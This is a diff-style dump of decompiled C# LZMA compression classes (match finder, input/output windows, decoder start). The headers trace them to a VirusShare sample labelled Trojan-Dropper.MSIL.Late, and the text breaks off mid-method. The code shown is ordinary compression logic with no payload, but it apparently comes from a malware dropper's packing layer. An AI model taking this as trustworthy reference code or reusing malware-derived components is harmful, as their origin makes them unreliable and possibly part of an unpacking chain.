private uint kNumHashDirectBytes;
|
||||
private uint kMinMatchCheck = 4;
|
||||
private uint kFixHashSize = 66560;
|
||||
|
||||
public void SetType(int numHashBytes)
|
||||
{
|
||||
this.HASH_ARRAY = numHashBytes > 2;
|
||||
if (this.HASH_ARRAY)
|
||||
{
|
||||
this.kNumHashDirectBytes = 0U;
|
||||
this.kMinMatchCheck = 4U;
|
||||
this.kFixHashSize = 66560U;
|
||||
}
|
||||
else
|
||||
{
|
||||
this.kNumHashDirectBytes = 2U;
|
||||
this.kMinMatchCheck = 3U;
|
||||
this.kFixHashSize = 0U;
|
||||
}
|
||||
}
|
||||
|
||||
public new void SetStream(Stream stream) => base.SetStream(stream);
|
||||
|
||||
public new void ReleaseStream() => base.ReleaseStream();
|
||||
|
||||
public new void Init()
|
||||
{
|
||||
base.Init();
|
||||
for (uint index = 0; index < this._hashSizeSum; ++index)
|
||||
this._hash[(IntPtr) index] = 0U;
|
||||
this._cyclicBufferPos = 0U;
|
||||
this.ReduceOffsets(-1);
|
||||
}
|
||||
|
||||
public new void MovePos()
|
||||
{
|
||||
if (++this._cyclicBufferPos >= this._cyclicBufferSize)
|
||||
this._cyclicBufferPos = 0U;
|
||||
base.MovePos();
|
||||
if (this._pos != (uint) int.MaxValue)
|
||||
return;
|
||||
this.Normalize();
|
||||
}
|
||||
|
||||
public new byte GetIndexByte(int index) => base.GetIndexByte(index);
|
||||
|
||||
public new uint GetMatchLen(int index, uint distance, uint limit) => base.GetMatchLen(index, distance, limit);
|
||||
|
||||
public new uint GetNumAvailableBytes() => base.GetNumAvailableBytes();
|
||||
|
||||
public void Create(
|
||||
uint historySize,
|
||||
uint keepAddBufferBefore,
|
||||
uint matchMaxLen,
|
||||
uint keepAddBufferAfter)
|
||||
{
|
||||
if (historySize > 2147483391U)
|
||||
throw new Exception();
|
||||
this._cutValue = 16U + (matchMaxLen >> 1);
|
||||
uint keepSizeReserv = (historySize + keepAddBufferBefore + matchMaxLen + keepAddBufferAfter) / 2U + 256U;
|
||||
this.Create(historySize + keepAddBufferBefore, matchMaxLen + keepAddBufferAfter, keepSizeReserv);
|
||||
this._matchMaxLen = matchMaxLen;
|
||||
uint num1 = historySize + 1U;
|
||||
if ((int) this._cyclicBufferSize != (int) num1)
|
||||
this._son = new uint[(IntPtr) ((this._cyclicBufferSize = num1) * 2U)];
|
||||
uint num2 = 65536;
|
||||
if (this.HASH_ARRAY)
|
||||
{
|
||||
uint num3 = historySize - 1U;
|
||||
uint num4 = num3 | num3 >> 1;
|
||||
uint num5 = num4 | num4 >> 2;
|
||||
uint num6 = num5 | num5 >> 4;
|
||||
uint num7 = (num6 | num6 >> 8) >> 1 | (uint) ushort.MaxValue;
|
||||
if (num7 > 16777216U)
|
||||
num7 >>= 1;
|
||||
this._hashMask = num7;
|
||||
num2 = num7 + 1U + this.kFixHashSize;
|
||||
}
|
||||
if ((int) num2 == (int) this._hashSizeSum)
|
||||
return;
|
||||
this._hash = new uint[(IntPtr) (this._hashSizeSum = num2)];
|
||||
}
|
||||
|
||||
public uint GetMatches(uint[] distances)
|
||||
{
|
||||
uint num1;
|
||||
if (this._pos + this._matchMaxLen <= this._streamPos)
|
||||
{
|
||||
num1 = this._matchMaxLen;
|
||||
}
|
||||
else
|
||||
{
|
||||
num1 = this._streamPos - this._pos;
|
||||
if (num1 < this.kMinMatchCheck)
|
||||
{
|
||||
this.MovePos();
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
uint matches = 0;
|
||||
uint num2 = this._pos > this._cyclicBufferSize ? this._pos - this._cyclicBufferSize : 0U;
|
||||
uint index1 = this._bufferOffset + this._pos;
|
||||
uint num3 = 1;
|
||||
uint index2 = 0;
|
||||
uint num4 = 0;
|
||||
uint num5;
|
||||
if (this.HASH_ARRAY)
|
||||
{
|
||||
uint num6 = CRC.Table[(int) this._bufferBase[(IntPtr) index1]] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)];
|
||||
index2 = num6 & 1023U;
|
||||
uint num7 = num6 ^ (uint) this._bufferBase[(IntPtr) (index1 + 2U)] << 8;
|
||||
num4 = num7 & (uint) ushort.MaxValue;
|
||||
num5 = (num7 ^ CRC.Table[(int) this._bufferBase[(IntPtr) (index1 + 3U)]] << 5) & this._hashMask;
|
||||
}
|
||||
else
|
||||
num5 = (uint) this._bufferBase[(IntPtr) index1] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)] << 8;
|
||||
uint num8 = this._hash[(IntPtr) (this.kFixHashSize + num5)];
|
||||
if (this.HASH_ARRAY)
|
||||
{
|
||||
uint num9 = this._hash[(IntPtr) index2];
|
||||
uint num10 = this._hash[(IntPtr) (1024U + num4)];
|
||||
this._hash[(IntPtr) index2] = this._pos;
|
||||
this._hash[(IntPtr) (1024U + num4)] = this._pos;
|
||||
if (num9 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num9)] == (int) this._bufferBase[(IntPtr) index1])
|
||||
{
|
||||
uint[] numArray1 = distances;
|
||||
int num11 = (int) matches;
|
||||
uint num12 = (uint) (num11 + 1);
|
||||
uint index3 = (uint) num11;
|
||||
int num13;
|
||||
num3 = (uint) (num13 = 2);
|
||||
numArray1[(IntPtr) index3] = (uint) num13;
|
||||
uint[] numArray2 = distances;
|
||||
int num14 = (int) num12;
|
||||
matches = (uint) (num14 + 1);
|
||||
uint index4 = (uint) num14;
|
||||
int num15 = (int) this._pos - (int) num9 - 1;
|
||||
numArray2[(IntPtr) index4] = (uint) num15;
|
||||
}
|
||||
if (num10 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num10)] == (int) this._bufferBase[(IntPtr) index1])
|
||||
{
|
||||
if ((int) num10 == (int) num9)
|
||||
matches -= 2U;
|
||||
uint[] numArray3 = distances;
|
||||
int num16 = (int) matches;
|
||||
uint num17 = (uint) (num16 + 1);
|
||||
uint index5 = (uint) num16;
|
||||
int num18;
|
||||
num3 = (uint) (num18 = 3);
|
||||
numArray3[(IntPtr) index5] = (uint) num18;
|
||||
uint[] numArray4 = distances;
|
||||
int num19 = (int) num17;
|
||||
matches = (uint) (num19 + 1);
|
||||
uint index6 = (uint) num19;
|
||||
int num20 = (int) this._pos - (int) num10 - 1;
|
||||
numArray4[(IntPtr) index6] = (uint) num20;
|
||||
num9 = num10;
|
||||
}
|
||||
if (matches != 0U && (int) num9 == (int) num8)
|
||||
{
|
||||
matches -= 2U;
|
||||
num3 = 1U;
|
||||
}
|
||||
}
|
||||
this._hash[(IntPtr) (this.kFixHashSize + num5)] = this._pos;
|
||||
uint index7 = (uint) (((int) this._cyclicBufferPos << 1) + 1);
|
||||
uint index8 = this._cyclicBufferPos << 1;
|
||||
uint val2;
|
||||
uint val1 = val2 = this.kNumHashDirectBytes;
|
||||
if (this.kNumHashDirectBytes != 0U && num8 > num2 && (int) this._bufferBase[(IntPtr) (this._bufferOffset + num8 + this.kNumHashDirectBytes)] != (int) this._bufferBase[(IntPtr) (index1 + this.kNumHashDirectBytes)])
|
||||
{
|
||||
uint[] numArray5 = distances;
|
||||
int num21 = (int) matches;
|
||||
uint num22 = (uint) (num21 + 1);
|
||||
uint index9 = (uint) num21;
|
||||
int numHashDirectBytes;
|
||||
num3 = (uint) (numHashDirectBytes = (int) this.kNumHashDirectBytes);
|
||||
numArray5[(IntPtr) index9] = (uint) numHashDirectBytes;
|
||||
uint[] numArray6 = distances;
|
||||
int num23 = (int) num22;
|
||||
matches = (uint) (num23 + 1);
|
||||
uint index10 = (uint) num23;
|
||||
int num24 = (int) this._pos - (int) num8 - 1;
|
||||
numArray6[(IntPtr) index10] = (uint) num24;
|
||||
}
|
||||
uint cutValue = this._cutValue;
|
||||
while (num8 > num2 && cutValue-- != 0U)
|
||||
{
|
||||
uint num25 = this._pos - num8;
|
||||
uint index11 = (uint) ((num25 <= this._cyclicBufferPos ? (int) this._cyclicBufferPos - (int) num25 : (int) this._cyclicBufferPos - (int) num25 + (int) this._cyclicBufferSize) << 1);
|
||||
uint num26 = this._bufferOffset + num8;
|
||||
uint num27 = Math.Min(val1, val2);
|
||||
if ((int) this._bufferBase[(IntPtr) (num26 + num27)] == (int) this._bufferBase[(IntPtr) (index1 + num27)])
|
||||
{
|
||||
do
|
||||
;
|
||||
while ((int) ++num27 != (int) num1 && (int) this._bufferBase[(IntPtr) (num26 + num27)] == (int) this._bufferBase[(IntPtr) (index1 + num27)]);
|
||||
if (num3 < num27)
|
||||
{
|
||||
uint[] numArray7 = distances;
|
||||
int num28 = (int) matches;
|
||||
uint num29 = (uint) (num28 + 1);
|
||||
uint index12 = (uint) num28;
|
||||
int num30;
|
||||
num3 = (uint) (num30 = (int) num27);
|
||||
numArray7[(IntPtr) index12] = (uint) num30;
|
||||
uint[] numArray8 = distances;
|
||||
int num31 = (int) num29;
|
||||
matches = (uint) (num31 + 1);
|
||||
uint index13 = (uint) num31;
|
||||
int num32 = (int) num25 - 1;
|
||||
numArray8[(IntPtr) index13] = (uint) num32;
|
||||
if ((int) num27 == (int) num1)
|
||||
{
|
||||
this._son[(IntPtr) index8] = this._son[(IntPtr) index11];
|
||||
this._son[(IntPtr) index7] = this._son[(IntPtr) (index11 + 1U)];
|
||||
goto label_29;
|
||||
}
|
||||
}
|
||||
}
|
||||
if ((int) this._bufferBase[(IntPtr) (num26 + num27)] < (int) this._bufferBase[(IntPtr) (index1 + num27)])
|
||||
{
|
||||
this._son[(IntPtr) index8] = num8;
|
||||
index8 = index11 + 1U;
|
||||
num8 = this._son[(IntPtr) index8];
|
||||
val2 = num27;
|
||||
}
|
||||
else
|
||||
{
|
||||
this._son[(IntPtr) index7] = num8;
|
||||
index7 = index11;
|
||||
num8 = this._son[(IntPtr) index7];
|
||||
val1 = num27;
|
||||
}
|
||||
}
|
||||
this._son[(IntPtr) index7] = this._son[(IntPtr) index8] = 0U;
|
||||
label_29:
|
||||
this.MovePos();
|
||||
return matches;
|
||||
}
|
||||
|
||||
public void Skip(uint num)
|
||||
{
|
||||
do
|
||||
{
|
||||
uint num1;
|
||||
if (this._pos + this._matchMaxLen <= this._streamPos)
|
||||
{
|
||||
num1 = this._matchMaxLen;
|
||||
}
|
||||
else
|
||||
{
|
||||
num1 = this._streamPos - this._pos;
|
||||
if (num1 < this.kMinMatchCheck)
|
||||
{
|
||||
this.MovePos();
|
||||
goto label_19;
|
||||
}
|
||||
}
|
||||
uint num2 = this._pos > this._cyclicBufferSize ? this._pos - this._cyclicBufferSize : 0U;
|
||||
uint index1 = this._bufferOffset + this._pos;
|
||||
uint num3;
|
||||
if (this.HASH_ARRAY)
|
||||
{
|
||||
uint num4 = CRC.Table[(int) this._bufferBase[(IntPtr) index1]] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)];
|
||||
this._hash[(IntPtr) (num4 & 1023U)] = this._pos;
|
||||
uint num5 = num4 ^ (uint) this._bufferBase[(IntPtr) (index1 + 2U)] << 8;
|
||||
this._hash[(IntPtr) (1024U + (num5 & (uint) ushort.MaxValue))] = this._pos;
|
||||
num3 = (num5 ^ CRC.Table[(int) this._bufferBase[(IntPtr) (index1 + 3U)]] << 5) & this._hashMask;
|
||||
}
|
||||
else
|
||||
num3 = (uint) this._bufferBase[(IntPtr) index1] ^ (uint) this._bufferBase[(IntPtr) (index1 + 1U)] << 8;
|
||||
uint num6 = this._hash[(IntPtr) (this.kFixHashSize + num3)];
|
||||
this._hash[(IntPtr) (this.kFixHashSize + num3)] = this._pos;
|
||||
uint index2 = (uint) (((int) this._cyclicBufferPos << 1) + 1);
|
||||
uint index3 = this._cyclicBufferPos << 1;
|
||||
uint val2;
|
||||
uint val1 = val2 = this.kNumHashDirectBytes;
|
||||
uint cutValue = this._cutValue;
|
||||
while (num6 > num2 && cutValue-- != 0U)
|
||||
{
|
||||
uint num7 = this._pos - num6;
|
||||
uint index4 = (uint) ((num7 <= this._cyclicBufferPos ? (int) this._cyclicBufferPos - (int) num7 : (int) this._cyclicBufferPos - (int) num7 + (int) this._cyclicBufferSize) << 1);
|
||||
uint num8 = this._bufferOffset + num6;
|
||||
uint num9 = Math.Min(val1, val2);
|
||||
if ((int) this._bufferBase[(IntPtr) (num8 + num9)] == (int) this._bufferBase[(IntPtr) (index1 + num9)])
|
||||
{
|
||||
do
|
||||
;
|
||||
while ((int) ++num9 != (int) num1 && (int) this._bufferBase[(IntPtr) (num8 + num9)] == (int) this._bufferBase[(IntPtr) (index1 + num9)]);
|
||||
if ((int) num9 == (int) num1)
|
||||
{
|
||||
this._son[(IntPtr) index3] = this._son[(IntPtr) index4];
|
||||
this._son[(IntPtr) index2] = this._son[(IntPtr) (index4 + 1U)];
|
||||
goto label_18;
|
||||
}
|
||||
}
|
||||
if ((int) this._bufferBase[(IntPtr) (num8 + num9)] < (int) this._bufferBase[(IntPtr) (index1 + num9)])
|
||||
{
|
||||
this._son[(IntPtr) index3] = num6;
|
||||
index3 = index4 + 1U;
|
||||
num6 = this._son[(IntPtr) index3];
|
||||
val2 = num9;
|
||||
}
|
||||
else
|
||||
{
|
||||
this._son[(IntPtr) index2] = num6;
|
||||
index2 = index4;
|
||||
num6 = this._son[(IntPtr) index2];
|
||||
val1 = num9;
|
||||
}
|
||||
}
|
||||
this._son[(IntPtr) index2] = this._son[(IntPtr) index3] = 0U;
|
||||
label_18:
|
||||
this.MovePos();
|
||||
label_19:;
|
||||
}
|
||||
while (--num != 0U);
|
||||
}
|
||||
|
||||
private void NormalizeLinks(uint[] items, uint numItems, uint subValue)
|
||||
{
|
||||
for (uint index = 0; index < numItems; ++index)
|
||||
{
|
||||
uint num1 = items[(IntPtr) index];
|
||||
uint num2 = num1 > subValue ? num1 - subValue : 0U;
|
||||
items[(IntPtr) index] = num2;
|
||||
}
|
||||
}
|
||||
|
||||
private void Normalize()
|
||||
{
|
||||
uint subValue = this._pos - this._cyclicBufferSize;
|
||||
this.NormalizeLinks(this._son, this._cyclicBufferSize * 2U, subValue);
|
||||
this.NormalizeLinks(this._hash, this._hashSizeSum, subValue);
|
||||
this.ReduceOffsets((int) subValue);
|
||||
}
|
||||
|
||||
public void SetCutValue(uint cutValue) => this._cutValue = cutValue;
|
||||
}
|
||||
}
|
||||
+25
@@ -0,0 +1,25 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.Compression.LZ.IInWindowStream
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.exe
|
||||
|
||||
using System.IO;
|
||||
|
||||
namespace SevenZip.Compression.LZ
|
||||
{
|
||||
internal interface IInWindowStream
|
||||
{
|
||||
void SetStream(Stream inStream);
|
||||
|
||||
void Init();
|
||||
|
||||
void ReleaseStream();
|
||||
|
||||
byte GetIndexByte(int index);
|
||||
|
||||
uint GetMatchLen(int index, uint distance, uint limit);
|
||||
|
||||
uint GetNumAvailableBytes();
|
||||
}
|
||||
}
|
||||
+21
@@ -0,0 +1,21 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.Compression.LZ.IMatchFinder
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.exe
|
||||
|
||||
namespace SevenZip.Compression.LZ
|
||||
{
|
||||
internal interface IMatchFinder : IInWindowStream
|
||||
{
|
||||
void Create(
|
||||
uint historySize,
|
||||
uint keepAddBufferBefore,
|
||||
uint matchMaxLen,
|
||||
uint keepAddBufferAfter);
|
||||
|
||||
uint GetMatches(uint[] distances);
|
||||
|
||||
void Skip(uint num);
|
||||
}
|
||||
}
|
||||
+127
@@ -0,0 +1,127 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.Compression.LZ.InWindow
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.exe
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace SevenZip.Compression.LZ
|
||||
{
|
||||
public class InWindow
|
||||
{
|
||||
public byte[] _bufferBase;
|
||||
private Stream _stream;
|
||||
private uint _posLimit;
|
||||
private bool _streamEndWasReached;
|
||||
private uint _pointerToLastSafePosition;
|
||||
public uint _bufferOffset;
|
||||
public uint _blockSize;
|
||||
public uint _pos;
|
||||
private uint _keepSizeBefore;
|
||||
private uint _keepSizeAfter;
|
||||
public uint _streamPos;
|
||||
|
||||
public void MoveBlock()
|
||||
{
|
||||
uint num1 = this._bufferOffset + this._pos - this._keepSizeBefore;
|
||||
if (num1 > 0U)
|
||||
--num1;
|
||||
uint num2 = this._bufferOffset + this._streamPos - num1;
|
||||
for (uint index = 0; index < num2; ++index)
|
||||
this._bufferBase[(IntPtr) index] = this._bufferBase[(IntPtr) (num1 + index)];
|
||||
this._bufferOffset -= num1;
|
||||
}
|
||||
|
||||
public virtual void ReadBlock()
|
||||
{
|
||||
if (this._streamEndWasReached)
|
||||
return;
|
||||
while (true)
|
||||
{
|
||||
do
|
||||
{
|
||||
int count = -(int) this._bufferOffset + (int) this._blockSize - (int) this._streamPos;
|
||||
if (count == 0)
|
||||
return;
|
||||
int num = this._stream.Read(this._bufferBase, (int) this._bufferOffset + (int) this._streamPos, count);
|
||||
if (num == 0)
|
||||
{
|
||||
this._posLimit = this._streamPos;
|
||||
if (this._bufferOffset + this._posLimit > this._pointerToLastSafePosition)
|
||||
this._posLimit = this._pointerToLastSafePosition - this._bufferOffset;
|
||||
this._streamEndWasReached = true;
|
||||
return;
|
||||
}
|
||||
this._streamPos += (uint) num;
|
||||
}
|
||||
while (this._streamPos < this._pos + this._keepSizeAfter);
|
||||
this._posLimit = this._streamPos - this._keepSizeAfter;
|
||||
}
|
||||
}
|
||||
|
||||
private void Free() => this._bufferBase = (byte[]) null;
|
||||
|
||||
public void Create(uint keepSizeBefore, uint keepSizeAfter, uint keepSizeReserv)
|
||||
{
|
||||
this._keepSizeBefore = keepSizeBefore;
|
||||
this._keepSizeAfter = keepSizeAfter;
|
||||
uint num = keepSizeBefore + keepSizeAfter + keepSizeReserv;
|
||||
if (this._bufferBase == null || (int) this._blockSize != (int) num)
|
||||
{
|
||||
this.Free();
|
||||
this._blockSize = num;
|
||||
this._bufferBase = new byte[(IntPtr) this._blockSize];
|
||||
}
|
||||
this._pointerToLastSafePosition = this._blockSize - keepSizeAfter;
|
||||
}
|
||||
|
||||
public void SetStream(Stream stream) => this._stream = stream;
|
||||
|
||||
public void ReleaseStream() => this._stream = (Stream) null;
|
||||
|
||||
public void Init()
|
||||
{
|
||||
this._bufferOffset = 0U;
|
||||
this._pos = 0U;
|
||||
this._streamPos = 0U;
|
||||
this._streamEndWasReached = false;
|
||||
this.ReadBlock();
|
||||
}
|
||||
|
||||
public void MovePos()
|
||||
{
|
||||
++this._pos;
|
||||
if (this._pos <= this._posLimit)
|
||||
return;
|
||||
if (this._bufferOffset + this._pos > this._pointerToLastSafePosition)
|
||||
this.MoveBlock();
|
||||
this.ReadBlock();
|
||||
}
|
||||
|
||||
public byte GetIndexByte(int index) => this._bufferBase[(long) (this._bufferOffset + this._pos) + (long) index];
|
||||
|
||||
public uint GetMatchLen(int index, uint distance, uint limit)
|
||||
{
|
||||
if (this._streamEndWasReached && (long) this._pos + (long) index + (long) limit > (long) this._streamPos)
|
||||
limit = this._streamPos - (uint) ((ulong) this._pos + (ulong) index);
|
||||
++distance;
|
||||
uint num = (uint) ((int) this._bufferOffset + (int) this._pos + index);
|
||||
uint matchLen = 0;
|
||||
while (matchLen < limit && (int) this._bufferBase[(IntPtr) (num + matchLen)] == (int) this._bufferBase[(IntPtr) (num + matchLen - distance)])
|
||||
++matchLen;
|
||||
return matchLen;
|
||||
}
|
||||
|
||||
public uint GetNumAvailableBytes() => this._streamPos - this._pos;
|
||||
|
||||
public void ReduceOffsets(int subValue)
|
||||
{
|
||||
this._bufferOffset += (uint) subValue;
|
||||
this._posLimit -= (uint) subValue;
|
||||
this._pos -= (uint) subValue;
|
||||
this._streamPos -= (uint) subValue;
|
||||
}
|
||||
}
|
||||
}
|
||||
+89
@@ -0,0 +1,89 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.Compression.LZ.OutWindow
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.exe
|
||||
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace SevenZip.Compression.LZ
|
||||
{
|
||||
public class OutWindow
|
||||
{
|
||||
private byte[] _buffer;
|
||||
private uint _pos;
|
||||
private uint _windowSize;
|
||||
private uint _streamPos;
|
||||
private Stream _stream;
|
||||
|
||||
public void Create(uint windowSize)
|
||||
{
|
||||
if ((int) this._windowSize != (int) windowSize)
|
||||
this._buffer = new byte[(IntPtr) windowSize];
|
||||
this._windowSize = windowSize;
|
||||
this._pos = 0U;
|
||||
this._streamPos = 0U;
|
||||
}
|
||||
|
||||
public void Init(Stream stream, bool solid)
|
||||
{
|
||||
this.ReleaseStream();
|
||||
this._stream = stream;
|
||||
if (solid)
|
||||
return;
|
||||
this._streamPos = 0U;
|
||||
this._pos = 0U;
|
||||
}
|
||||
|
||||
public void Init(Stream stream) => this.Init(stream, false);
|
||||
|
||||
public void ReleaseStream()
|
||||
{
|
||||
this.Flush();
|
||||
this._stream = (Stream) null;
|
||||
}
|
||||
|
||||
public void Flush()
|
||||
{
|
||||
uint count = this._pos - this._streamPos;
|
||||
if (count == 0U)
|
||||
return;
|
||||
this._stream.Write(this._buffer, (int) this._streamPos, (int) count);
|
||||
if (this._pos >= this._windowSize)
|
||||
this._pos = 0U;
|
||||
this._streamPos = this._pos;
|
||||
}
|
||||
|
||||
public void CopyBlock(uint distance, uint len)
|
||||
{
|
||||
uint num = (uint) ((int) this._pos - (int) distance - 1);
|
||||
if (num >= this._windowSize)
|
||||
num += this._windowSize;
|
||||
for (; len > 0U; --len)
|
||||
{
|
||||
if (num >= this._windowSize)
|
||||
num = 0U;
|
||||
this._buffer[(IntPtr) this._pos++] = this._buffer[(IntPtr) num++];
|
||||
if (this._pos >= this._windowSize)
|
||||
this.Flush();
|
||||
}
|
||||
}
|
||||
|
||||
public void PutByte(byte b)
|
||||
{
|
||||
this._buffer[(IntPtr) this._pos++] = b;
|
||||
if (this._pos < this._windowSize)
|
||||
return;
|
||||
this.Flush();
|
||||
}
|
||||
|
||||
public byte GetByte(uint distance)
|
||||
{
|
||||
uint index = (uint) ((int) this._pos - (int) distance - 1);
|
||||
if (index >= this._windowSize)
|
||||
index += this._windowSize;
|
||||
return this._buffer[(IntPtr) index];
|
||||
}
|
||||
}
|
||||
}
|
||||
+70
@@ -0,0 +1,70 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.Compression.LZMA.Base
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.exe
|
||||
|
||||
namespace SevenZip.Compression.LZMA
|
||||
{
|
||||
internal abstract class Base
|
||||
{
|
||||
public const uint kNumRepDistances = 4;
|
||||
public const uint kNumStates = 12;
|
||||
public const int kNumPosSlotBits = 6;
|
||||
public const int kDicLogSizeMin = 0;
|
||||
public const int kNumLenToPosStatesBits = 2;
|
||||
public const uint kNumLenToPosStates = 4;
|
||||
public const uint kMatchMinLen = 2;
|
||||
public const int kNumAlignBits = 4;
|
||||
public const uint kAlignTableSize = 16;
|
||||
public const uint kAlignMask = 15;
|
||||
public const uint kStartPosModelIndex = 4;
|
||||
public const uint kEndPosModelIndex = 14;
|
||||
public const uint kNumPosModels = 10;
|
||||
public const uint kNumFullDistances = 128;
|
||||
public const uint kNumLitPosStatesBitsEncodingMax = 4;
|
||||
public const uint kNumLitContextBitsMax = 8;
|
||||
public const int kNumPosStatesBitsMax = 4;
|
||||
public const uint kNumPosStatesMax = 16;
|
||||
public const int kNumPosStatesBitsEncodingMax = 4;
|
||||
public const uint kNumPosStatesEncodingMax = 16;
|
||||
public const int kNumLowLenBits = 3;
|
||||
public const int kNumMidLenBits = 3;
|
||||
public const int kNumHighLenBits = 8;
|
||||
public const uint kNumLowLenSymbols = 8;
|
||||
public const uint kNumMidLenSymbols = 8;
|
||||
public const uint kNumLenSymbols = 272;
|
||||
public const uint kMatchMaxLen = 273;
|
||||
|
||||
public static uint GetLenToPosState(uint len)
|
||||
{
|
||||
len -= 2U;
|
||||
return len < 4U ? len : 3U;
|
||||
}
|
||||
|
||||
public struct State
|
||||
{
|
||||
public uint Index;
|
||||
|
||||
public void Init() => this.Index = 0U;
|
||||
|
||||
public void UpdateChar()
|
||||
{
|
||||
if (this.Index < 4U)
|
||||
this.Index = 0U;
|
||||
else if (this.Index < 10U)
|
||||
this.Index -= 3U;
|
||||
else
|
||||
this.Index -= 6U;
|
||||
}
|
||||
|
||||
public void UpdateMatch() => this.Index = this.Index < 7U ? 7U : 10U;
|
||||
|
||||
public void UpdateRep() => this.Index = this.Index < 7U ? 8U : 11U;
|
||||
|
||||
public void UpdateShortRep() => this.Index = this.Index < 7U ? 9U : 11U;
|
||||
|
||||
public bool IsCharState() => this.Index < 7U;
|
||||
}
|
||||
}
|
||||
}
|
||||
+346
@@ -0,0 +1,346 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: SevenZip.Compression.LZMA.Decoder
|
||||
// Assembly: actmp, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 50C41484-D1A9-4872-9CEC-A8081495D24E
|
||||
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00001-msil\Trojan-Dropper.MSIL.Late.iv-ca1bc7f9d82b3530e22d7ae6728ebded4829bf8ebc63ceb2e8d24ac8e3f7cf57.exe
|
||||
|
||||
using SevenZip.Compression.LZ;
|
||||
using SevenZip.Compression.RangeCoder;
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
namespace SevenZip.Compression.LZMA
|
||||
{
|
||||
public class Decoder : ICoder, ISetDecoderProperties
|
||||
{
|
||||
private OutWindow m_OutWindow = new OutWindow();
|
||||
private SevenZip.Compression.RangeCoder.Decoder m_RangeDecoder = new SevenZip.Compression.RangeCoder.Decoder();
|
||||
private BitDecoder[] m_IsMatchDecoders = new BitDecoder[new IntPtr(192)];
|
||||
private BitDecoder[] m_IsRepDecoders = new BitDecoder[new IntPtr(12)];
|
||||
private BitDecoder[] m_IsRepG0Decoders = new BitDecoder[new IntPtr(12)];
|
||||
private BitDecoder[] m_IsRepG1Decoders = new BitDecoder[new IntPtr(12)];
|
||||
private BitDecoder[] m_IsRepG2Decoders = new BitDecoder[new IntPtr(12)];
|
||||
private BitDecoder[] m_IsRep0LongDecoders = new BitDecoder[new IntPtr(192)];
|
||||
private BitTreeDecoder[] m_PosSlotDecoder = new BitTreeDecoder[new IntPtr(4)];
|
||||
private BitDecoder[] m_PosDecoders = new BitDecoder[new IntPtr(114)];
|
||||
private BitTreeDecoder m_PosAlignDecoder = new BitTreeDecoder(4);
|
||||
private Decoder.LenDecoder m_LenDecoder = new Decoder.LenDecoder();
|
||||
private Decoder.LenDecoder m_RepLenDecoder = new Decoder.LenDecoder();
|
||||
private Decoder.LiteralDecoder m_LiteralDecoder = new Decoder.LiteralDecoder();
|
||||
private uint m_DictionarySize;
|
||||
private uint m_DictionarySizeCheck;
|
||||
private uint m_PosStateMask;
|
||||
|
||||
public Decoder()
|
||||
{
|
||||
this.m_DictionarySize = uint.MaxValue;
|
||||
for (int index = 0; index < 4; ++index)
|
||||
this.m_PosSlotDecoder[index] = new BitTreeDecoder(6);
|
||||
}
|
||||
|
||||
private void SetDictionarySize(uint dictionarySize)
|
||||
{
|
||||
if ((int) this.m_DictionarySize == (int) dictionarySize)
|
||||
return;
|
||||
this.m_DictionarySize = dictionarySize;
|
||||
this.m_DictionarySizeCheck = Math.Max(this.m_DictionarySize, 1U);
|
||||
this.m_OutWindow.Create(Math.Max(this.m_DictionarySizeCheck, 4096U));
|
||||
}
|
||||
|
||||
private void SetLiteralProperties(int lp, int lc)
|
||||
{
|
||||
if (lp > 8)
|
||||
throw new InvalidParamException();
|
||||
if (lc > 8)
|
||||
throw new InvalidParamException();
|
||||
this.m_LiteralDecoder.Create(lp, lc);
|
||||
}
|
||||
|
||||
private void SetPosBitsProperties(int pb)
|
||||
{
|
||||
if (pb > 4)
|
||||
throw new InvalidParamException();
|
||||
